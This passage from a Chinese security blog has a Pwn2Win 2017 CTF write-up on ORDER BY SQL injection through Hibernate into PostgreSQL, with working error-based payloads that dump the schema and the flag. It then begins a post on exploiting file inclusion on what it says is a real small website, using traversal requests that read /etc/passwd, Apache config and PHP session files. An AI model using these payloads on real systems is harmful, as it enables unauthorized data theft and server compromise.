&#x9EDE;&#x958B;&#x7DB2;&#x9801;&#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x7684;&#x9023;&#x7D50;&#xFF0C;&#x4E5F;&#x662F;&#x4E00;&#x500B;&#x5F88;&#x55AE;&#x7D14;&#x7684;&#x641C;&#x5C0B;&#x9801;&#x9762;&#xFF1A;</p>
</blockquote>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-1.png" alt loading="lazy"></p>
<p>&#x7C21;&#x55AE;&#x5617;&#x8A66;&#x4E00;&#x4E0B; /robots.txt&#x3001;/.git/&#x3001;/.svn/ &#x7B49;&#x8DEF;&#x5F91;&#xFF0C;&#x767C;&#x73FE;&#x90FD;&#x662F; 404 &#x7684;&#x7D50;&#x679C;&#xFF0C;&#x518D;&#x914D;&#x5408;&#x984C;&#x76EE;&#x6558;&#x8FF0;&#xFF0C;&#x63A8;&#x6E2C;&#x53EF;&#x80FD;&#x662F;&#x8981;&#x6253; SQL Injection&#x3002;</p>
<p>&#x5617;&#x8A66; Fuzzing &#x6240;&#x6709;&#x7684;&#x6B04;&#x4F4D;&#xFF0C;&#x76F4;&#x63A5;&#x5168;&#x90E8;&#x8F38;&#x5165;&#x4E00;&#x4E9B;&#x5947;&#x602A;&#x7B26;&#x865F;&#x300C;aaa&apos;&quot;&apos;#,&#x300D;&#xFF0C;&#x9806;&#x5229;&#x5674;&#x51FA;&#x4E00;&#x9023;&#x4E32;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#xFF0C;&#x4E26;&#x4E14;&#x767C;&#x73FE; Order &#x6B04;&#x4F4D;&#x662F; Injectable &#x7684;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-2.png" alt loading="lazy"></p>
<p>&#x6E2C;&#x8A66;&#x4E86;&#x4E00;&#x4E0B;&#x4E26;&#x6839;&#x64DA;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#xFF0C;&#x767C;&#x73FE;&#x5F8C;&#x53F0;&#x4F7F;&#x7528;&#x7684; DBMS &#x70BA; PostgreSQL&#xFF0C;&#x4E26;&#x4E14;&#x4F7F;&#x7528; Hibernate &#x7684; ORM &#x6846;&#x67B6;&#x3002;&#x800C;&#x67E5;&#x8A62;&#x7684; Query &#x683C;&#x5F0F;&#x5982;&#x4E0B;&#xFF0C;&#x5176;&#x4E2D; <strong>{{ INJECTABLE }}</strong> &#x5373;&#x70BA;&#x6CE8;&#x5165;&#x9EDE;&#xFF1A;</p>
<pre class="lang:pgsql decode:true">SELECT c  
from solutions.bloodsuckers.models.Criminal c  
WHERE   
  (c.name like :pName or :pNameLength = 0) and  
  (c.age = :pAge or :pAge = 0) and  
  (c.crime like :pCrime or :pCrimeLength = 0)  
order by {{ INJECTABLE }}</pre>  
<p>&#x63A5;&#x8457;&#x5C31;&#x662F;&#x6211;&#x958B;&#x59CB;&#x9032;&#x5165;&#x5404;&#x7A2E;&#x9B3C;&#x6253;&#x7246;&#x7684;&#x6642;&#x5019; ( T &#x434; T )</p>
<p>&#x6839;&#x64DA; PostgreSQL &#x7684;&#x5B98;&#x65B9;&#x6587;&#x4EF6;&#xFF0C;UNION &#x548C; MySQL &#x4E00;&#x6A23;&#x5FC5;&#x9808;&#x5728; ORDER BY &#x4E4B;&#x524D;&#xFF0C;&#x56E0;&#x6B64;&#x7121;&#x6CD5;&#x76F4;&#x63A5; dump &#x8CC7;&#x6599;&#xFF1A;</p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-3.png" alt loading="lazy"></p>
<p>&#x65BC;&#x662F;&#x6211;&#x5F88;&#x55AE;&#x7D14; (&#x6839;&#x672C;&#x662F;&#x55AE;&#x8822;T__T) &#x7684;&#x8A8D;&#x70BA;&#xFF0C;&#x8A72;&#x5C07;&#x91CD;&#x9EDE;&#x653E;&#x5728;&#x642D;&#x914D; SELECT &#x5B50;&#x67E5;&#x8A62;&#x89F8;&#x767C; Error-Based Injection&#xFF0C;&#x800C;&#x6587;&#x4EF6;&#x8868;&#x793A;&#x53EF;&#x4EE5;&#x5728; ORDER BY &#x4E0A;&#x4F7F;&#x7528; expression&#xFF0C;&#x6240;&#x4EE5;&#x5C31;&#x5148;&#x5617;&#x8A66;&#x76F4;&#x63A5;&#x585E; SELECT&#xFF0C;&#x4F46;&#x4F3C;&#x4E4E;&#x662F; Hibernate &#x4E0D;&#x8B93;&#x6211;&#x904E; (?</p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-4.png" alt loading="lazy"></p>
<p>&#x7E7C;&#x7E8C;&#x722C;&#x4E86;&#x4E00;&#x4E9B;&#x5B98;&#x65B9;&#x6587;&#x4EF6;&#xFF0C;&#x767C;&#x73FE;&#x53EF;&#x4EE5;&#x5728; ORDER BY &#x4E0A;&#x4F7F;&#x7528; CASE WHEN &#x6558;&#x8FF0;&#x53E5;&#xFF0C;&#x518D;&#x642D;&#x914D;&#x4E00;&#x4E9B;&#x6E2C;&#x8A66;&#xFF0C;&#x597D;&#x50CF;&#x9806;&#x5229;&#x901A;&#x904E;&#xA0;Hibernate &#xFF0C;&#x6210;&#x529F;&#x8B93; PostgreSQL &#x57F7;&#x884C;&#xFF0C;&#x6B64;&#x6642;&#x7684; Payload &#x70BA;&#xFF1A;</p>
<pre class="lang:pgsql decode:true ">case when (  
  select current_user  
  from solutions.bloodsuckers.models.Criminal  
)=1 then 2 else 1 end desc</pre>  
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-5.png" alt loading="lazy"></p>
<p>&#x7DCA;&#x63A5;&#x8457;&#x5229;&#x7528; CAST( ... AS type ) &#x7684;&#x5B50;&#x53E5;&#x89F8;&#x767C;&#x8F49;&#x578B;&#x932F;&#x8AA4;&#x7684; Error&#xFF0C;&#x8B93;&#x8CC7;&#x6599;&#x5674;&#x51FA;&#x4F86;&#xFF0C;&#x9806;&#x5229;&#x7372;&#x5F97; DB &#x7684;&#x4F7F;&#x7528;&#x8005;</p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-6.png" alt loading="lazy"></p>
<p>&#x5077;&#x61F6;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x7DB2;&#x4E0A;&#x7684; Cheat Sheet &#x4E2D;&#x7684; Payload&#xFF0C;&#x60F3;&#x5C07; table dump &#x51FA;&#x4F86;</p>
<pre class="lang:pgsql decode:true">CASE WHEN (  
  SELECT CAST(c.relname AS int)  
  FROM pg_catalog.pg_class c   
  LEFT JOIN   
    pg_catalog.pg_namespace n ON n.oid = c.relnamespace   
  WHERE   
    c.relkind IN (&apos;r&apos;,&apos;&apos;) AND   
    n.nspname NOT IN (&apos;pg_catalog&apos;, &apos;pg_toast&apos;) AND   
    pg_catalog.pg_table_is_visible(c.oid)  
)=1 THEN 2 ELSE 1 END DESC</pre>  
<p>&#x7D50;&#x679C;&#x537B;&#x5674;&#x51FA;&#x9019;&#x500B;&#x932F;&#x8AA4;&#x8A0A;&#x606F; &#x3A3;(T&#x25A1;T)</p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-7.png" alt loading="lazy"></p>
<p>&#x539F;&#x4F86;&#x662F;&#x56E0;&#x70BA; Query &#x4E2D;&#x7684; table &#x4E0D;&#x662F;&#x771F;&#x5BE6;&#x7684; table&#xFF0C;Hibernate &#x6703;&#x5C07;&#x5176;&#x518D;&#x6620;&#x5C04;&#x5230;&#x8CC7;&#x6599;&#x5EAB;&#x4E2D;&#x771F;&#x5BE6;&#x7684; table&#xFF0C;&#x6B64; Query &#x4F3C;&#x4E4E;&#x4E5F;&#x4E0D;&#x662F;&#x666E;&#x901A;&#x7684; SQL&#xFF0C;&#x662F;&#x4E00;&#x7A2E;&#x5305;&#x88DD;&#x904E;&#x7684; HQL&#x3002;</p>
<p>&#x65BC;&#x662F;&#x6211;&#x5C31;&#x8E0F;&#x4E0A;&#x5C0B;&#x627E;&#x5982;&#x4F55;&#x7E5E;&#x904E; Hibernate &#x9650;&#x5236;&#x7684;&#x65B9;&#x6CD5;&#x7684;&#x65C5;&#x9014;&#xFF0C;&#x4F46;&#x4E00;&#x76F4;&#x6C92;&#x6709;&#x641C;&#x5C0B;&#x5230;&#x6700;&#x91CD;&#x8981;&#x7684;&#x95DC;&#x9375;&#x5B57;&#xFF0C;&#x5C0E;&#x81F4;&#x9072;&#x9072;&#x6C92;&#x6709;&#x7D50;&#x679C;&#x3002;&#x60F3;&#x5617;&#x8A66;&#x5C07; Query &#x5305;&#x6210;&#x5B57;&#x4E32;&#x518D;&#x8B93;&#x5176;&#x52D5;&#x614B;&#x57F7;&#x884C;&#xFF0C;&#x4F46;&#x6240;&#x722C;&#x5230;&#x7684;&#x8CC7;&#x6599;&#x90FD;&#x662F;&#x5229;&#x7528;&#x5EFA;&#x7ACB;&#x81EA;&#x5B9A;&#x7FA9; function&#xFF0C;&#x518D;&#x4EE5; EXECUTE ... USING ... &#x6558;&#x8FF0;&#x53E5;&#x4F86;&#x5C07;&#x5B57;&#x4E32;&#x4F5C;&#x70BA; Query &#x57F7;&#x884C;&#xFF0C;&#x4F46;&#x5728;&#x9019;&#x984C;&#x5B8C;&#x5168;&#x6D3E;&#x4E0D;&#x4E0A;&#x7528;&#x5834; QQ&#x3002;</p>
<p>&#x6BD4;&#x8CFD;&#x671F;&#x9593;&#x56E0;&#x70BA;&#x6070;&#x597D;&#x6709;&#x4E8B;&#x6C92;&#x6709;&#x8FA6;&#x6CD5;&#x89E3;&#x984C;&#xFF0C;&#x6240;&#x4EE5;&#x7576;&#x5728;&#x89E3;&#x9019;&#x9053;&#x984C;&#x76EE;&#x6642;&#x6BD4;&#x8CFD;&#x4E5F;&#x65E9;&#x5DF2;&#x7D50;&#x675F;&#xFF0C;&#x800C;&#x641C;&#x5C0B;&#x4E86;&#x6578;&#x5341;&#x7BC7;&#x6587;&#x7AE0;&#x8CC7;&#x6599;&#x90FD;&#x6C92;&#x6709;&#x7D50;&#x679C;&#xFF0C;&#x5728;&#x7121;&#x8A08;&#x53EF;&#x65BD;&#x7684;&#x60C5;&#x6CC1;&#x4E0B;&#xFF0C;&#x53EA;&#x597D;&#x8C41;&#x51FA;&#x53BB;&#x6C42;&#x52A9;&#x67D0;&#x4F4D;&#x5927;&#x795E;&#x80FD;&#x5426;&#x6307;&#x5F15;&#x65B9;&#x5411;&#xFF0C;&#x90A3;&#x4F4D;&#x5927;&#x795E;&#x770B;&#x5230;&#x5F8C;&#x679C;&#x7136;&#x79D2;&#x56DE;&#x6211;&#x4E00;&#x500B;&#x53EF;&#x4EE5;&#x53C3;&#x8003;&#x7684;&#x7C21;&#x5831;&#x8CC7;&#x6599;&#xFF1A;</p>
<p><a href="https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications">New methods for exploiting ORM injections in Java applications by Mikhail Egorov and Sergey Soldatov</a></p>
<p>&#x5176;&#x4E2D;&#x6700;&#x95DC;&#x9375;&#x7684;&#x662F; query_to_xml &#x9019;&#x500B;&#x51FD;&#x5F0F;&#xFF0C;&#x6B63;&#x662F;&#x53EF;&#x4EE5;&#x5C07;&#x67D0;&#x5B57;&#x4E32;&#x4F5C;&#x70BA; Query &#x57F7;&#x884C;&#x4E26;&#x5C07;&#x7D50;&#x679C;&#x8F49;&#x6210; xml &#x56DE;&#x50B3;&#x7684;&#x795E;&#x5668;&#xFF01;</p>
<p>&#x65BC;&#x662F;&#x5C31;&#x91CD;&#x65B0;&#x69CB;&#x9020;&#x4E86;&#x9019;&#x9EBC;&#x4E00;&#x6BB5; Payload&#xFF1A;</p>
<pre class="lang:pgsql decode:true">CAST(  
  array_to_string(  
    xpath(&apos;row[1]&apos;,   
      query_to_xml(&apos;select current_user&apos;,true,false,&apos;&apos;)  
    )  
  ,&apos;&apos;)  
AS int)</pre>  
<p>&#x6B63;&#x7576;&#x4EE5;&#x70BA;&#x80FD;&#x9806;&#x5229;&#x904B;&#x884C;&#x6642;</p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-8.png" alt loading="lazy"></p>
<p>&#x53C8;&#x662F; Hibernate &#x5440;&#xA0;(&#x256F;&#x2594;&#x25A1;&#x2594;)&#x256F; ~&#x2569;&#x2569;</p>
<p>&#x8A66;&#x8457;&#x4FEE;&#x6539;&#x4E00;&#x4E0B;&#xFF0C;&#x52A0;&#x4E0A;&#x300C; chr(95) || &#x300D;&#x770B;&#x80FD;&#x4E0D;&#x80FD;&#x901A;&#x904E;</p>
<pre class="lang:pgsql decode:true">CAST(  
  (chr(95) || array_to_string(  
    xpath(&apos;row[1]&apos;,   
      query_to_xml(&apos;select current_user&apos;,true,false,&apos;&apos;)  
    )  
  ,&apos;&apos;))  
AS int)</pre>  
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-9.png" alt loading="lazy"></p>
<p>WHYYYYYY&#xFF0C;&#x96D6;&#x7136;&#x904E;&#x4E86;&#xA0;Hibernate &#xFF0C;&#x4F46; query_to_xml &#x7684;&#x6240;&#x6709;&#x53C3;&#x6578;&#x88AB;&#x5F37;&#x5236;&#x4F5C;&#x5B57;&#x4E32; concatenate&#x3002;</p>
<p>&#x53EA;&#x597D;&#x7E7C;&#x7E8C;&#x5728;&#x7DB2;&#x8DEF;&#x4E0A;&#x548C;&#x6587;&#x4EF6;&#x4E2D;&#x5C0B;&#x8993;&#x6709;&#x7528;&#x7684;&#x6558;&#x8FF0;&#x53E5;&#xFF0C;&#x76F4;&#x5230;&#x5728; StackOverflow &#x4E0A;&#x67D0;&#x7BC7;&#x8A0E;&#x8AD6; PostgreSQL &#x958B;&#x767C;&#x76F8;&#x95DC;&#x554F;&#x984C;&#x7684;&#x6587;&#x7AE0;&#x4E2D;&#x767C;&#x73FE;&#x5230;&#xFF0C;&#x9664;&#x4E86; CAST &#x4EE5;&#x5916;&#xFF0C;&#x4E5F;&#x80FD;&#x5617;&#x8A66;&#x4F7F;&#x7528; int4 &#x4F86;&#x5C07;&#x5B57;&#x4E32;&#x8F49;&#x63DB;&#x6210;&#x6578;&#x5B57;&#xFF0C;&#x65BC;&#x662F;&#x5C31;&#x4FEE;&#x6539; Payload &#x70BA;&#xFF1A;</p>
<pre class="lang:pgsql decode:true">int4(  
  array_to_string(  
    xpath(&apos;row[1]&apos;,   
      query_to_xml(&apos;select current_user&apos;,true,false,&apos;&apos;)  
    )  
  ,&apos;&apos;)  
)</pre>  
<p>&#x6B64;&#x6642;&#x5DF2;&#x7D93;&#x5FC3;&#x529B;&#x4EA4;&#x7601;&#xFF0C;&#x908A;&#x7948;&#x79B1;&#x8457;&#x80FD;&#x5920;&#x9806;&#x5229;&#x908A;&#x6309;&#x4E0B;&#x9001;&#x51FA;</p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-10.png" alt loading="lazy"></p>
<p>&#x6B64;&#x6642;&#x6211;&#x7684;&#x5FC3;&#x60C5;&#x5927;&#x6982;&#x5C31;&#x50CF;&#x9019;&#x500B;&#x6A23;&#x5B50;&#xFF1A;</p>
<p><img src="https://i.imgur.com/MqxvU42.gif" alt loading="lazy"></p>
<p>&#x642D;&#x914D; Cheat Sheet &#x7684; Payload&#xFF0C;&#x5C07; table &#x8207; column &#x90FD;&#x6293;&#x51FA;&#x4F86;&#xFF1A;</p>
<pre class="lang:pgsql decode:true">int4(  
  array_to_string(  
    xpath(&apos;row[1]&apos;,   
      query_to_xml(  
        &apos;SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (&apos;&apos;r&apos;&apos;,&apos;&apos;&apos;&apos;) AND n.nspname NOT IN (&apos;&apos;pg_catalog&apos;&apos;, &apos;&apos;pg_toast&apos;&apos;) AND pg_catalog.pg_table_is_visible(c.oid)&apos;,  
        true,  
        false,  
        &apos;&apos;  
      )  
    )  
  ,&apos;&apos;)  
)</pre>  
<pre class="lang:default decode:true">int4(  
  array_to_string(  
    xpath(&apos;row[1]&apos;,   
      query_to_xml(  
        &apos;SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=&apos;&apos;r&apos;&apos;) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum&gt;0) AND (NOT A.attisdropped) AND (N.nspname ILIKE &apos;&apos;public&apos;&apos;)&apos;,  
        true,  
        false,  
        &apos;&apos;  
      )  
    )  
  ,&apos;&apos;)  
)</pre>  
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-11.png" alt loading="lazy"></p>
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-12.png" alt loading="lazy"></p>
<p>&#x6700;&#x5F8C;&#x57F7;&#x884C;&#x6700;&#x7D42;&#x7684; Payload &#x5C31;&#x80FD;&#x53D6;&#x5F97; flag&#xFF1A;</p>
<pre class="lang:pgsql decode:true">int4(  
  array_to_string(  
    xpath(&apos;row[1]&apos;,   
      query_to_xml(  
        &apos;SELECT secret FROM flag&apos;,  
        true,  
        false,  
        &apos;&apos;  
      )  
    )  
  ,&apos;&apos;)  
)</pre>  
<p><img src="https://cyku.tw/content/images/migrate/pwn2win-ctf-2017-write-up-web-criminals-13.png" alt loading="lazy"></p>
<p>&#x7E3D;&#x7D50;&#x4E00;&#x4E0B;&#xFF0C;&#x9664;&#x4E86;&#x90A3;&#x7C21;&#x5831;&#x8CC7;&#x6599;&#x63D0;&#x53CA;&#x7684; ORM Injection &#x6280;&#x5DE7;&#x5916;&#xFF0C;&#x7576;&#x9047;&#x5230; PostgreSQL &#x7684; Error-Based Injection &#x6642;&#xFF0C;&#x4E5F;&#x80FD;&#x5617;&#x8A66;&#x4EE5;&#x4E0B;&#x5E7E;&#x7A2E;&#x65B9;&#x5F0F;&#x5C07;&#x5B57;&#x4E32;&#x5F37;&#x5236;&#x8F49;&#x578B;&#x6210;&#x6578;&#x5B57;&#x4F86;&#x9054;&#x5230;&#x5229;&#x7528; Error &#x7372;&#x53D6;&#x8CC7;&#x6599;&#xFF1A;</p>
<ul>
<li>CAST( ... AS int )</li>
<li>CAST( ( chr(95) || ... ) AS int)</li>
<li>int4( ... )</li>
<li>int8( ... )</li>
<li>float4( ... )</li>
<li>float8( ... )<br>
&#xA0;</li>
</ul>
<p>&#x9019;&#x6BB5;&#x89E3;&#x984C;&#x7684;&#x8DEF;&#x4E0A;&#x771F;&#x7684;&#x975E;&#x5E38;&#x574E;&#x5777;&#xFF0C;&#x5C0D; CTF &#x7121;&#x7D93;&#x9A57;&#x3001;&#x5C0D; Hibernate &#x6BEB;&#x7121;&#x89C0;&#x5FF5;&#x3001;&#x5C0D; PostgreSQL &#x5B8C;&#x5168;&#x6C92;&#x6709;&#x63A5;&#x89F8;&#xFF0C;&#x611F;&#x89BA;&#x5C31;&#x50CF;&#x662F;&#x88F8;&#x8EAB;&#x62FF;&#x8457;&#x4E00;&#x6839;&#x6A39;&#x679D;&#x53C3;&#x52A0;&#x4E16;&#x754C;&#x5927;&#x6230;&#xFF0C;&#x5728;&#x8DEF;&#x4E0A;&#x64BF;&#x5230;&#x4E00;&#x628A;&#x5DE6;&#x8F2A;&#x624B;&#x69CD;&#xFF0C;&#x4E00;&#x8DEF;&#x62DA;&#x547D;&#x722C;&#x5230;&#x65D7;&#x5B50;&#x524D;&#xFF0C;&#x7D50;&#x679C;&#x767C;&#x73FE;&#x5927;&#x6230;&#x65E9;&#x5DF2;&#x7D50;&#x675F; N &#x500B;&#x4E16;&#x7D00;&#x3002;</p>
<p>&#x4F46;&#x662F;&#x904E;&#x7A0B;&#x4E2D;&#x771F;&#x7684;&#x7D2F;&#x7A4D;&#x5230;&#x4E0D;&#x5C11;&#x5BF6;&#x8CB4;&#x3001;&#x96E3;&#x5F97;&#x7684;&#x7D93;&#x9A57;&#xFF0C;&#x5F88;&#x9069;&#x5408;&#x7D66;&#x50CF;&#x6211;&#x9019;&#x6A23;&#x7684;&#x65B0;&#x624B;&#x4F5C;&#x7DF4;&#x7FD2;&#x3002;&#x4F3C;&#x4E4E; Hibernate &#x4E5F;&#x662F;&#x5F88;&#x5E38;&#x898B; Java &#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x4F7F;&#x7528;&#x7684;&#x6846;&#x67B6;&#xFF0C;&#x503C;&#x5F97;&#x5728;&#x6709;&#x7A7A;&#x6642;&#x597D;&#x597D;&#x7814;&#x7A76;&#x4E00;&#x4E0B;&#xA0;Hibernate &#x7684;&#x67B6;&#x69CB;&#x4EE5;&#x53CA; HQL &#x548C; SQL &#x7684;&#x5DEE;&#x7570;&#x6027;&#x3002;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[透過 LFI 引入 PHP session 檔案觸發 RCE]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x5148;&#x524D;&#x56E0;&#x70BA;&#x670B;&#x53CB;&#x5206;&#x4EAB;&#x800C;&#x5F97;&#x77E5;&#x67D0;&#x500B;&#x5C0F;&#x7AD9;&#x5177;&#x6709; LFI &#x6F0F;&#x6D1E;&#xFF0C;&#x65BC;&#x662F;&#x5C31;&#x60F3;&#x5617;&#x8A66;&#x8457;&#x89F8;&#x767C; RCE&#xFF0C;&#x4F46;&#x767C;&#x73FE;&#x4E3B;&#x6A5F;&#x4E0A;&#x6A94;&#x6848;&#x6B0A;&#x9650;&#x883B;&#x56B4;&#x683C;&#x7684;&#xFF0C;&#x5E78;&#x597D;&#x6700;</p>]]></description><link>https://cyku.tw/lfi-leads-to-rce-via-session-file/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f3407</guid><category><![CDATA[Web Security]]></category><category><![CDATA[Migrated From Wordpress]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Sat, 26 Aug 2017 11:33:55 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>&#x5148;&#x524D;&#x56E0;&#x70BA;&#x670B;&#x53CB;&#x5206;&#x4EAB;&#x800C;&#x5F97;&#x77E5;&#x67D0;&#x500B;&#x5C0F;&#x7AD9;&#x5177;&#x6709; LFI &#x6F0F;&#x6D1E;&#xFF0C;&#x65BC;&#x662F;&#x5C31;&#x60F3;&#x5617;&#x8A66;&#x8457;&#x89F8;&#x767C; RCE&#xFF0C;&#x4F46;&#x767C;&#x73FE;&#x4E3B;&#x6A5F;&#x4E0A;&#x6A94;&#x6848;&#x6B0A;&#x9650;&#x883B;&#x56B4;&#x683C;&#x7684;&#xFF0C;&#x5E78;&#x597D;&#x6700;&#x7D42;&#x9084;&#x662F;&#x6210;&#x529F;&#x900F;&#x904E; session &#x6A94;&#x6848;&#x89F8;&#x767C;&#xFF0C;&#x56E0;&#x70BA;&#x904E;&#x7A0B;&#x6709;&#x5E7E;&#x500B;&#x883B;&#x6709;&#x8DA3;&#x7684;&#x5C0F;&#x7D30;&#x7BC0;&#xFF0C;&#x5C31;&#x8D95;&#x7DCA;&#x5BEB;&#x7BC7;&#x6587;&#x7AE0;&#x4F5C;&#x500B;&#x7B46;&#x8A18;&#x3002;</p>
<!--more-->  
<p>&#x8A72;&#x7DB2;&#x7AD9;&#x767C;&#x751F; LFI &#x7684;&#x9EDE;&#x539F;&#x59CB;&#x8DEF;&#x5F91;&#x662F;&#x9577;&#x985E;&#x4F3C;&#x9019;&#x500B;&#x6A23;&#x5B50;</p>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true"> /file.php?file=index.html</pre>  
<p>&#x900F;&#x904E;&#x4EE5;&#x4E0B;&#x5E7E;&#x500B;&#x6E2C;&#x8A66;&#x78BA;&#x8A8D;&#x5B58;&#x5728; LFI &#x6F0F;&#x6D1E;</p>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true"> /file.php?file=./index.html  &lt;- &#x5B58;&#x5728;  
 /file.php?file=../index.html  &lt;- &#x4E0D;&#x5B58;&#x5728;  
 /file.php?file=../../../../../etc/passwd  &lt;- &#x6210;&#x529F;&#x986F;&#x793A; passwd &#x5167;&#x5BB9;</pre>  
<p>&#x4F46;&#x56E0;&#x70BA;&#x6E2C;&#x8A66;&#x767C;&#x73FE; include &#x8A9E;&#x53E5;&#x524D;&#x65B9;&#x4E32;&#x63A5;&#x4E86;&#x984D;&#x5916;&#x7684;&#x8CC7;&#x6599;&#x593E;&#x8DEF;&#x5F91;&#xFF0C;&#x7121;&#x6CD5;&#x5617;&#x8A66; PHP Wrapper&#x3001;RFI (Remote File Inclusion)&#xFF0C;&#x731C;&#x6E2C;&#x539F;&#x59CB;&#x78BC;&#x53EF;&#x80FD;&#x6703;&#x985E;&#x4F3C;</p>
<pre class="toolbar:2 whitespace-before:1 whitespace-after:1 lang:php decode:true "> include(INCLUDE_DIRECTORY . $_GET[&apos;file&apos;]);</pre>  
<p>&#x4E5F;&#x6C92;&#x767C;&#x73FE;&#x80FD;&#x76F4;&#x63A5;&#x4E0A;&#x50B3;&#x6A94;&#x6848;&#x7684;&#x5165;&#x53E3;&#xFF0C;&#x56E0;&#x6B64;&#x628A;&#x7B56;&#x7565;&#x8F49;&#x70BA;&#x5617;&#x8A66;&#x5F15;&#x5165;&#x542B;&#x6709;&#x74B0;&#x5883;&#x8B8A;&#x6578;&#x3001;Access Log &#x6216;&#x5176;&#x4ED6;&#x53EF;&#x80FD;&#x542B;&#x6709;&#x4F7F;&#x7528;&#x8005;&#x63D0;&#x4F9B;&#x7684;&#x8CC7;&#x6599;&#x7684;&#x6A94;&#x6848;&#x3002;</p>
<p>&#x9996;&#x5148;&#x5617;&#x8A66;&#x74B0;&#x5883;&#x8B8A;&#x6578;&#x7684;&#x6A94;&#x6848;</p>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true"> /file.php?file=../../../../../proc/self/environ</pre>  
<p>&#x53EF;&#x60DC;&#x7D50;&#x679C;&#x662F;&#x5931;&#x6557;&#xFF0C;&#x53EF;&#x80FD;&#x662F;&#x4E0D;&#x5920;&#x6B0A;&#x9650;&#x9032;&#x884C;&#x8B80;&#x53D6;&#xFF0C;&#x518D;&#x5C07;&#x76EE;&#x6A19;&#x8F49;&#x79FB;&#x5230;&#x7DB2;&#x9801;&#x7684; Access Log&#x3001;Error Log&#xFF0C;&#x9996;&#x5148;&#x5617;&#x8A66;&#x53D6;&#x5F97; Web Server config&#xFF0C;&#x9806;&#x5229;&#x767C;&#x73FE;&#x5728;&#x9810;&#x8A2D;&#x8DEF;&#x5F91;&#x7684; Apache httpd.conf</p>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true"> /file.php?file=../../../../../etc/httpd/conf/httpd.conf</pre>  
<p><img src="https://cyku.tw/images/lfi_leads_to_rce_via_session_file.png" alt loading="lazy"></p>
<p>&#x4E26;&#x4E14;&#x4F9D;&#x64DA;&#x8A2D;&#x5B9A;&#x6A94;&#x5167;&#x5BB9;&#x78BA;&#x5B9A; Log &#x6A94;&#x6848;&#x5728; /etc/httpd/logs/access_log&#xFF0C;&#x4F46;&#x7D93;&#x6E2C;&#x8A66;&#x7121;&#x8AD6;&#x662F; access_log &#x9084;&#x662F; error_log &#x90FD;&#x7121;&#x6CD5;&#x88AB;&#x9806;&#x5229;&#x5F15;&#x5165;&#xFF0C;&#x61C9;&#x8A72;&#x4E5F;&#x662F;&#x8B80;&#x53D6;&#x6B0A;&#x9650;&#x4E0D;&#x8DB3;&#x6240;&#x5C0E;&#x81F4;&#x3002;</p>
<p>&#x5230;&#x9019;&#x908A;&#x56E0;&#x70BA;&#x7D93;&#x9A57;&#x4E0D;&#x8DB3;&#xFF0C;&#x5DF2;&#x7D93;&#x6C92;&#x6709;&#x60F3;&#x6CD5;&#x4E86;&#xFF0C;&#x53EA;&#x597D;&#x958B;&#x59CB;&#x4E0A;&#x7DB2;&#x722C;&#x5927;&#x91CF;&#x8CC7;&#x6599;&#xFF0C;&#x767C;&#x73FE;&#x6709;&#x6587;&#x7AE0;&#x8868;&#x793A;&#x9664;&#x4E86;&#x4EE5;&#x4E0A;&#x5E7E;&#x7A2E;&#x5E38;&#x898B;&#x6A94;&#x6848;&#xFF0C;&#x9084;&#x53EF;&#x4EE5;&#x5617;&#x8A66; session &#x6A94;&#x6848;&#xFF0C;&#x540C;&#x6642;&#x4E5F;&#x6CE8;&#x610F;&#x5230;&#x8A72;&#x7DB2;&#x7AD9;&#x78BA;&#x5BE6;&#x6709;&#x555F;&#x7528; session &#x529F;&#x80FD;&#xFF0C;&#x5FC3;&#x60F3;&#x5728;&#x67D0;&#x4E9B;&#x60C5;&#x6CC1;&#x4E0B;&#xFF0C;&#x6216;&#x8A31;&#x80FD;&#x63A7;&#x5236;&#x5230; session &#x6A94;&#x6848;&#x7684;&#x5167;&#x5BB9;&#x3002;&#x4E8C;&#x8A71;&#x4E0D;&#x8AAA;&#x76F4;&#x63A5;&#x5F15;&#x5165; session &#x6A94;&#x6848;&#x3002;(&#x9810;&#x8A2D;&#x6A94;&#x6848;&#x8DEF;&#x5F91;&#x901A;&#x5E38;&#x662F; /tmp/sess_{SESSION_ID} )</p>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true"> /file.php?file=../../../../../tmp/sess_{SESSION_ID}</pre>  
